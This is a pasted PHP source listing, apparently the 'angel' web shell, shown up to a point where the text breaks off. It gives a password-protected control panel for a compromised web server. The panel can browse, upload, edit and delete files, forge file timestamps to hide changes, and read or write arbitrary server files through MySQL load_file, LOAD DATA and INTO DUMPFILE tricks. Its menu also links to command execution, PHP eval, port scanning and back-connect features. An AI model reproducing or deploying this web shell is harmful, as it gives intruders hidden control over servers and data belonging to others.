· 9 years ago · Nov 15, 2016, 02:04 AM
1<?php
2
3error_reporting(7);
4
5@set_magic_quotes_runtime(0);
6
7ob_start();
8
9$mtime = explode(' ', microtime());
10
11$starttime = $mtime[1] + $mtime[0];
12
13define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
14
15define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
16
17define('IS_COM', class_exists('COM') ? 1 : 0 );
18
19define('IS_GPC', get_magic_quotes_gpc());
20
21$dis_func = get_cfg_var('disable_functions');
22
23define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
24
25@set_time_limit(0);
26
27
28
29foreach($_POST as $key => $value) {
30
31 if (IS_GPC) {
32
33 $value = s_array($value);
34
35 }
36
37 $$key = $value;
38
39}
40
41/*===================== ???? =====================*/
42
43
44
45//echo encode_pass('angel');exit;
46
47//angel = ec38fe2a8497e0a8d6d349b3533038cb
48
49// ????????,???????,????????
50
51$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
52
53
54
55//??? cookie ?????????, ??????, ???????, ???????
56
57// cookie ??
58
59$cookiepre = '';
60
61// cookie ???
62
63$cookiedomain = '';
64
65// cookie ????
66
67$cookiepath = '/';
68
69// cookie ???
70
71$cookielife = 86400;
72
73
74
75//???????????
76
77!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
78
79/*===================== ???? =====================*/
80
81
82
83$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
84
85if ($charset == 'utf8') {
86
87 header("content-Type: text/html; charset=utf-8");
88
89} elseif ($charset == 'big5') {
90
91 header("content-Type: text/html; charset=big5");
92
93} elseif ($charset == 'gbk') {
94
95 header("content-Type: text/html; charset=gbk");
96
97} elseif ($charset == 'latin1') {
98
99 header("content-Type: text/html; charset=iso-8859-2");
100
101} elseif ($charset == 'euc-kr') {
102
103 header("content-Type: text/html; charset=euc-kr");
104
105} elseif ($charset == 'euc-jp') {
106
107 header("content-Type: text/html; charset=euc-jp");
108
109}
110
111
112
113$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
114
115$timestamp = time();
116
117
118
119/*===================== ???? =====================*/
120
121if ($action == "logout") {
122
123 scookie('loginpass', '', -86400 * 365);
124
125 @header('Location: '.$self);
126
127 exit;
128
129}
130
131if($pass) {
132
133 if ($action == 'login') {
134
135 if ($pass == encode_pass($password)) {
136
137 loadsettings($password, 'angel.php');
138
139 scookie('loginpass',encode_pass($password));
140
141 @header('Location: '.$self);
142
143 exit;
144
145 }
146
147 }
148
149 if ($_COOKIE['loginpass']) {
150
151 if ($_COOKIE['loginpass'] != $pass) {
152
153 loginpage();
154
155 }
156
157 } else {
158
159 loginpage();
160
161 }
162
163}
164
165/*===================== ???? =====================*/
166
167
168
169$errmsg = '';
170
171!$action && $action = 'file';
172
173
174
175// ??PHPINFO
176
177if ($action == 'phpinfo') {
178
179 if (IS_PHPINFO) {
180
181 phpinfo();
182
183 exit;
184
185 } else {
186
187 $errmsg = 'phpinfo() function has non-permissible';
188
189 }
190
191}
192
193
194
195// ????
196
197if ($doing == 'downfile' && $thefile) {
198
199 if (!@file_exists($thefile)) {
200
201 $errmsg = 'The file you want Downloadable was nonexistent';
202
203 } else {
204
205 $fileinfo = pathinfo($thefile);
206
207 header('Content-type: application/x-'.$fileinfo['extension']);
208
209 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
210
211 header('Content-Length: '.filesize($thefile));
212
213 @readfile($thefile);
214
215 exit;
216
217 }
218
219}
220
221
222
223// ?????????
224
225if ($doing == 'backupmysql' && !$saveasfile) {
226
227 if (!$table) {
228
229 $errmsg ='Please choose the table';
230
231 } else {
232
233 $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
234
235 $filename = basename($dbname.'.sql');
236
237 header('Content-type: application/unknown');
238
239 header('Content-Disposition: attachment; filename='.$filename);
240
241 foreach($table as $k => $v) {
242
243 if ($v) {
244
245 sqldumptable($v);
246
247 }
248
249 }
250
251 mysql_close();
252
253 exit;
254
255 }
256
257}
258
259
260
261// ??MYSQL????
262
263if($doing=='mysqldown'){
264
265 if (!$dbname) {
266
267 $errmsg = 'Please input dbname';
268
269 } else {
270
271 $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
272
273 if (!file_exists($mysqldlfile)) {
274
275 $errmsg = 'The file you want Downloadable was nonexistent';
276
277 } else {
278
279 $result = q("select load_file('$mysqldlfile');");
280
281 if(!$result){
282
283 q("DROP TABLE IF EXISTS tmp_angel;");
284
285 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
286
287 //?????????,???????????__angel_1111111111_eof__??????????
288
289 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
290
291 $result = q("select content from tmp_angel");
292
293 q("DROP TABLE tmp_angel");
294
295 }
296
297 $row = @mysql_fetch_array($result);
298
299 if (!$row) {
300
301 $errmsg = 'Load file failed '.mysql_error();
302
303 } else {
304
305 $fileinfo = pathinfo($mysqldlfile);
306
307 header('Content-type: application/x-'.$fileinfo['extension']);
308
309 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
310
311 header("Accept-Length: ".strlen($row[0]));
312
313 echo $row[0];
314
315 exit;
316
317 }
318
319 }
320
321 }
322
323}
324
325
326
327?>
328
329<html>
330
331<head>
332
333<meta http-equiv="Content-Type" content="text/html; charset=gbk">
334
335<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
336
337<style type="text/css">
338
339body,td{font: 12px Arial,Tahoma;line-height: 16px;}
340
341.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
342
343.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
344
345.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
346
347a {color: #00f;text-decoration:underline;}
348
349a:hover{color: #f00;text-decoration:none;}
350
351.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
352
353.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
354
355.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}
356
357.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
358
359.head td span{font-weight:normal;}
360
361.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
362
363form{margin:0;padding:0;}
364
365h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
366
367ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
368
369u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
370
371.drives{padding:5px;}
372
373.drives span {margin:auto 7px;}
374
375</style>
376
377<script type="text/javascript">
378
379function CheckAll(form) {
380
381 for(var i=0;i<form.elements.length;i++) {
382
383 var e = form.elements[i];
384
385 if (e.name != 'chkall')
386
387 e.checked = form.chkall.checked;
388
389 }
390
391}
392
393function $(id) {
394
395 return document.getElementById(id);
396
397}
398
399function createdir(){
400
401 var newdirname;
402
403 newdirname = prompt('Please input the directory name:', '');
404
405 if (!newdirname) return;
406
407 $('createdir').newdirname.value=newdirname;
408
409 $('createdir').submit();
410
411}
412
413function fileperm(pfile){
414
415 var newperm;
416
417 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
418
419 if (!newperm) return;
420
421 $('fileperm').newperm.value=newperm;
422
423 $('fileperm').pfile.value=pfile;
424
425 $('fileperm').submit();
426
427}
428
429function copyfile(sname){
430
431 var tofile;
432
433 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
434
435 if (!tofile) return;
436
437 $('copyfile').tofile.value=tofile;
438
439 $('copyfile').sname.value=sname;
440
441 $('copyfile').submit();
442
443}
444
445function rename(oldname){
446
447 var newfilename;
448
449 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
450
451 if (!newfilename) return;
452
453 $('rename').newfilename.value=newfilename;
454
455 $('rename').oldname.value=oldname;
456
457 $('rename').submit();
458
459}
460
461function dofile(doing,thefile,m){
462
463 if (m && !confirm(m)) {
464
465 return;
466
467 }
468
469 $('filelist').doing.value=doing;
470
471 if (thefile){
472
473 $('filelist').thefile.value=thefile;
474
475 }
476
477 $('filelist').submit();
478
479}
480
481function createfile(nowpath){
482
483 var filename;
484
485 filename = prompt('Please input the file name:', '');
486
487 if (!filename) return;
488
489 opfile('editfile',nowpath + filename,nowpath);
490
491}
492
493function opfile(action,opfile,dir){
494
495 $('fileopform').action.value=action;
496
497 $('fileopform').opfile.value=opfile;
498
499 $('fileopform').dir.value=dir;
500
501 $('fileopform').submit();
502
503}
504
505function godir(dir,view_writable){
506
507 if (view_writable) {
508
509 $('godir').view_writable.value=view_writable;
510
511 }
512
513 $('godir').dir.value=dir;
514
515 $('godir').submit();
516
517}
518
519function getsize(getdir,dir){
520
521 $('getsize').getdir.value=getdir;
522
523 $('getsize').dir.value=dir;
524
525 $('getsize').submit();
526
527}
528
529function editrecord(action, base64, tablename){
530
531 if (action == 'del') {
532
533 if (!confirm('Is or isn\'t deletion record?')) return;
534
535 }
536
537 $('recordlist').doing.value=action;
538
539 $('recordlist').base64.value=base64;
540
541 $('recordlist').tablename.value=tablename;
542
543 $('recordlist').submit();
544
545}
546
547function moddbname(dbname) {
548
549 if(!dbname) return;
550
551 $('setdbname').dbname.value=dbname;
552
553 $('setdbname').submit();
554
555}
556
557function settable(tablename,doing,page) {
558
559 if(!tablename) return;
560
561 if (doing) {
562
563 $('settable').doing.value=doing;
564
565 }
566
567 if (page) {
568
569 $('settable').page.value=page;
570
571 }
572
573 $('settable').tablename.value=tablename;
574
575 $('settable').submit();
576
577}
578
579function s(action,nowpath,p1,p2,p3,p4,p5) {
580
581 if(action) $('opform').action.value=action;
582
583 if(nowpath) $('opform').nowpath.value=nowpath;
584
585 if(p1) $('opform').p1.value=p1;
586
587 if(p2) $('opform').p2.value=p2;
588
589 if(p3) $('opform').p3.value=p3;
590
591 if(p4) $('opform').p4.value=p4;
592
593 if(p5) $('opform').p4.value=p5;
594
595}
596
597function g(action,nowpath,p1,p2,p3,p4,p5) {
598
599 if(!action) return;
600
601 s(action,nowpath,p1,p2,p3,p4,p5);
602
603 $('opform').submit();
604
605}
606
607</script>
608
609</head>
610
611<body style="margin:0;table-layout:fixed; word-break:break-all">
612
613<?php
614
615formhead(array('name'=>'opform'));
616
617makehide('action', $action);
618
619makehide('nowpath', $nowpath);
620
621makehide('p1', $p1);
622
623makehide('p2', $p2);
624
625makehide('p3', $p3);
626
627makehide('p4', $p4);
628
629makehide('p5', $p5);
630
631formfoot();
632
633
634
635if(!function_exists('posix_getegid')) {
636
637 $user = @get_current_user();
638
639 $uid = @getmyuid();
640
641 $gid = @getmygid();
642
643 $group = "?";
644
645} else {
646
647 $uid = @posix_getpwuid(@posix_geteuid());
648
649 $gid = @posix_getgrgid(@posix_getegid());
650
651 $user = $uid['name'];
652
653 $uid = $uid['uid'];
654
655 $group = $gid['name'];
656
657 $gid = $gid['gid'];
658
659}
660
661
662
663?>
664
665<table width="100%" border="0" cellpadding="0" cellspacing="0">
666
667 <tr class="head">
668
669 <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
670
671 </tr>
672
673 <tr class="alt1">
674
675 <td>
676
677 <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span>
678
679 <a href="javascript:g('logout');">Logout</a> |
680
681 <a href="javascript:g('file');">File Manager</a> |
682
683 <a href="javascript:g('mysqladmin');">MYSQL Manager</a> |
684
685 <a href="javascript:g('sqlfile');">MySQL Upload & Download</a> |
686
687 <a href="javascript:g('shell');">Execute Command</a> |
688
689 <a href="javascript:g('phpenv');">PHP Variable</a> |
690
691 <a href="javascript:g('portscan');">Port Scan</a> |
692
693 <a href="javascript:g('secinfo');">Security information</a> |
694
695 <a href="javascript:g('eval');">Eval PHP Code</a>
696
697 <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?>
698
699 </td>
700
701 </tr>
702
703</table>
704
705<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
706
707<?php
708
709$errmsg && m($errmsg);
710
711
712
713// ??????
714
715if (!$dir) {
716
717 $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.';
718
719}
720
721$nowpath = getPath(SA_ROOT, $dir);
722
723if (substr($dir, -1) != '/') {
724
725 $dir = $dir.'/';
726
727}
728
729
730
731if ($action == 'file') {
732
733
734
735 // ??????
736
737 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
738
739
740
741 // ????
742
743 if ($newdirname) {
744
745 $mkdirs = $nowpath.$newdirname;
746
747 if (file_exists($mkdirs)) {
748
749 m('Directory has already existed');
750
751 } else {
752
753 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
754
755 @chmod($mkdirs,0777);
756
757 }
758
759 }
760
761
762
763 // ????
764
765 elseif ($doupfile) {
766
767 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
768
769 }
770
771
772
773 // ????
774
775 elseif ($editfilename && $filecontent) {
776
777 $fp = @fopen($editfilename,'w');
778
779 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
780
781 @fclose($fp);
782
783 }
784
785
786
787 // ??????
788
789 elseif ($pfile && $newperm) {
790
791 if (!file_exists($pfile)) {
792
793 m('The original file does not exist');
794
795 } else {
796
797 $newperm = base_convert($newperm,8,10);
798
799 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
800
801 }
802
803 }
804
805
806
807 // ??
808
809 elseif ($oldname && $newfilename) {
810
811 $nname = $nowpath.$newfilename;
812
813 if (file_exists($nname) || !file_exists($oldname)) {
814
815 m($nname.' has already existed or original file does not exist');
816
817 } else {
818
819 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
820
821 }
822
823 }
824
825
826
827 // ????
828
829 elseif ($sname && $tofile) {
830
831 if (file_exists($tofile) || !file_exists($sname)) {
832
833 m('The goal file has already existed or original file does not exist');
834
835 } else {
836
837 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
838
839 }
840
841 }
842
843
844
845 // ????
846
847 elseif ($curfile && $tarfile) {
848
849 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
850
851 m('The goal file has already existed or original file does not exist');
852
853 } else {
854
855 $time = @filemtime($tarfile);
856
857 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
858
859 }
860
861 }
862
863
864
865 // ?????
866
867 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
868
869 if (!@file_exists($curfile)) {
870
871 m(basename($curfile).' does not exist');
872
873 } else {
874
875 $time = strtotime("$year-$month-$day $hour:$minute:$second");
876
877 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
878
879 }
880
881 }
882
883
884
885 // ??????
886
887 elseif($doing == 'delfiles') {
888
889 if ($dl) {
890
891 $dfiles='';
892
893 $succ = $fail = 0;
894
895 foreach ($dl as $filepath) {
896
897 if (is_dir($filepath)) {
898
899 if (@deltree($filepath)) {
900
901 $succ++;
902
903 } else {
904
905 $fail++;
906
907 }
908
909 } else {
910
911 if (@unlink($filepath)) {
912
913 $succ++;
914
915 } else {
916
917 $fail++;
918
919 }
920
921 }
922
923 }
924
925 m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
926
927 } else {
928
929 m('Please select folder/file(s)');
930
931 }
932
933 }
934
935
936
937 //????
938
939 formhead(array('name'=>'createdir'));
940
941 makehide('newdirname');
942
943 makehide('dir',$nowpath);
944
945 formfoot();
946
947 formhead(array('name'=>'fileperm'));
948
949 makehide('newperm');
950
951 makehide('pfile');
952
953 makehide('dir',$nowpath);
954
955 formfoot();
956
957 formhead(array('name'=>'copyfile'));
958
959 makehide('sname');
960
961 makehide('tofile');
962
963 makehide('dir',$nowpath);
964
965 formfoot();
966
967 formhead(array('name'=>'rename'));
968
969 makehide('oldname');
970
971 makehide('newfilename');
972
973 makehide('dir',$nowpath);
974
975 formfoot();
976
977 formhead(array('name'=>'fileopform', 'target'=>'_blank'));
978
979 makehide('action');
980
981 makehide('opfile');
982
983 makehide('dir');
984
985 formfoot();
986
987 formhead(array('name'=>'getsize'));
988
989 makehide('getdir');
990
991 makehide('dir');
992
993 formfoot();
994
995
996
997 $free = @disk_free_space($nowpath);
998
999 !$free && $free = 0;
1000
1001 $all = @disk_total_space($nowpath);
1002
1003 !$all && $all = 0;
1004
1005 $used = $all-$free;
1006
1007 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');
1008
1009
1010
1011 $cwd_links = '';
1012
1013 $path = explode('/', $nowpath);
1014
1015 $n=count($path);
1016
1017 for($i=0;$i<$n-1;$i++) {
1018
1019 $cwd_links .= '<a href="javascript:godir(\'';
1020
1021 for($j=0;$j<=$i;$j++) {
1022
1023 $cwd_links .= $path[$j].'/';
1024
1025 }
1026
1027 $cwd_links .= '\');">'.$path[$i].'/</a>';
1028
1029 }
1030
1031
1032
1033?>
1034
1035<script type="text/javascript">
1036
1037document.onclick = shownav;
1038
1039function shownav(e){
1040
1041 var src = e?e.target:event.srcElement;
1042
1043 do{
1044
1045 if(src.id =="jumpto") {
1046
1047 $('inputnav').style.display = "";
1048
1049 $('pathnav').style.display = "none";
1050
1051 //hidenav();
1052
1053 return;
1054
1055 }
1056
1057 if(src.id =="inputnav") {
1058
1059 return;
1060
1061 }
1062
1063 src = src.parentNode;
1064
1065 }while(src.parentNode)
1066
1067
1068
1069 $('inputnav').style.display = "none";
1070
1071 $('pathnav').style.display = "";
1072
1073}
1074
1075</script>
1076
1077<div style="background:#eee;margin-bottom:10px;">
1078
1079 <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
1080
1081 <tr>
1082
1083 <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>
1084
1085 <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
1086
1087 </tr>
1088
1089 </table>
1090
1091 <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
1092
1093 <form action="" method="post" id="godir" name="godir">
1094
1095 <tr>
1096
1097 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
1098
1099 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>
1100
1101 <td nowrap><input class="bt" value="GO" type="submit"></td>
1102
1103 </tr>
1104
1105 </form>
1106
1107 </table>
1108
1109<?php
1110
1111 if (IS_WIN && IS_COM) {
1112
1113 $obj = new COM('scripting.filesystemobject');
1114
1115 if ($obj && is_object($obj) && $obj->Drives) {
1116
1117 echo '<div class="drives">';
1118
1119 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1120
1121 $comma = '';
1122
1123 foreach($obj->Drives as $drive) {
1124
1125 if ($drive->Path) {
1126
1127 p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1128
1129 $comma = '<span>|</span>';
1130
1131 }
1132
1133 }
1134
1135 echo '</div>';
1136
1137 }
1138
1139 }
1140
1141?>
1142
1143</div>
1144
1145<?php
1146
1147 $findstr = $_POST['findstr'];
1148
1149 $re = $_POST['re'];
1150
1151 tbhead();
1152
1153 p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
1154
1155 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>');
1156
1157 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1158
1159 p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
1160
1161 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1162
1163 p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
1164
1165 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
1166
1167 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1168
1169
1170
1171 p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>');
1172
1173
1174
1175 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1176
1177
1178
1179 //???????????
1180
1181 $dirdata=array();
1182
1183 $filedata=array();
1184
1185
1186
1187 if ($view_writable == 'dir') {
1188
1189 $dirdata = GetWDirList($nowpath);
1190
1191 $filedata = array();
1192
1193 } elseif ($view_writable == 'file') {
1194
1195 $dirdata = array();
1196
1197 $filedata = GetWFileList($nowpath);
1198
1199 } elseif ($findstr) {
1200
1201 $dirdata = array();
1202
1203 $filedata = GetSFileList($nowpath, $findstr, $re);
1204
1205 } else {
1206
1207 // ????
1208
1209 //scandir()????
1210
1211 $dirs=@opendir($dir);
1212
1213 while ($file=@readdir($dirs)) {
1214
1215 $filepath=$nowpath.$file;
1216
1217 if(@is_dir($filepath)){
1218
1219 $dirdb['filename']=$file;
1220
1221 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1222
1223 $dirdb['dirchmod']=getChmod($filepath);
1224
1225 $dirdb['dirperm']=getPerms($filepath);
1226
1227 $dirdb['fileowner']=getUser($filepath);
1228
1229 $dirdb['dirlink']=$nowpath;
1230
1231 $dirdb['server_link']=$filepath;
1232
1233 $dirdata[]=$dirdb;
1234
1235 } else {
1236
1237 $filedb['filename']=$file;
1238
1239 $filedb['size']=sizecount(@filesize($filepath));
1240
1241 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1242
1243 $filedb['filechmod']=getChmod($filepath);
1244
1245 $filedb['fileperm']=getPerms($filepath);
1246
1247 $filedb['fileowner']=getUser($filepath);
1248
1249 $filedb['dirlink']=$nowpath;
1250
1251 $filedb['server_link']=$filepath;
1252
1253 $filedata[]=$filedb;
1254
1255 }
1256
1257 }// while
1258
1259 unset($dirdb);
1260
1261 unset($filedb);
1262
1263 @closedir($dirs);
1264
1265 }
1266
1267 @sort($dirdata);
1268
1269 @sort($filedata);
1270
1271 $dir_i = '0';
1272
1273
1274
1275 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1276
1277 makehide('action','file');
1278
1279 makehide('thefile');
1280
1281 makehide('doing');
1282
1283 makehide('dir',$nowpath);
1284
1285
1286
1287 foreach($dirdata as $key => $dirdb){
1288
1289 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1290
1291 if($getdir && $getdir == $dirdb['server_link']) {
1292
1293 $attachsize = dirsize($dirdb['server_link']);
1294
1295 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
1296
1297 } else {
1298
1299 $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
1300
1301 }
1302
1303 $thisbg = bg();
1304
1305 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1306
1307 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');
1308
1309 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1310
1311 p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>');
1312
1313 p('<td nowrap>'.$attachsize.'</td>');
1314
1315 p('<td nowrap>');
1316
1317 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1318
1319 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1320
1321 p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
1322
1323 p('</tr>');
1324
1325 $dir_i++;
1326
1327 } else {
1328
1329 if($dirdb['filename']=='..') {
1330
1331 p('<tr class='.bg().'>');
1332
1333 p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
1334
1335 p('</tr>');
1336
1337 }
1338
1339 }
1340
1341 }
1342
1343
1344
1345 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
1346
1347 $file_i = '0';
1348
1349
1350
1351 foreach($filedata as $key => $filedb){
1352
1353 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1354
1355 $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
1356
1357 $thisbg = bg();
1358
1359 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1360
1361 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');
1362
1363 p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
1364
1365 p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>');
1366
1367 p('<td nowrap>'.$filedb['size'].'</td>');
1368
1369 p('<td nowrap>');
1370
1371 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1372
1373 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1374
1375 p('<td nowrap>');
1376
1377 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1378
1379 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1380
1381 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1382
1383 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>');
1384
1385 p('</td></tr>');
1386
1387 $file_i++;
1388
1389 }
1390
1391 }
1392
1393 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1394
1395 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1396
1397 p('</form></table>');
1398
1399}// end dir
1400
1401
1402
1403elseif ($action == 'sqlfile') {
1404
1405 if($doing=="mysqlupload"){
1406
1407 $file = $_FILES['uploadfile'];
1408
1409 $filename = $file['tmp_name'];
1410
1411 if (file_exists($savepath)) {
1412
1413 m('The goal file has already existed');
1414
1415 } else {
1416
1417 if(!$filename) {
1418
1419 m('Please choose a file');
1420
1421 } else {
1422
1423 $fp=@fopen($filename,'r');
1424
1425 $contents=@fread($fp, filesize($filename));
1426
1427 @fclose($fp);
1428
1429 $contents = bin2hex($contents);
1430
1431 if(!$upname) $upname = $file['name'];
1432
1433 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1434
1435 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1436
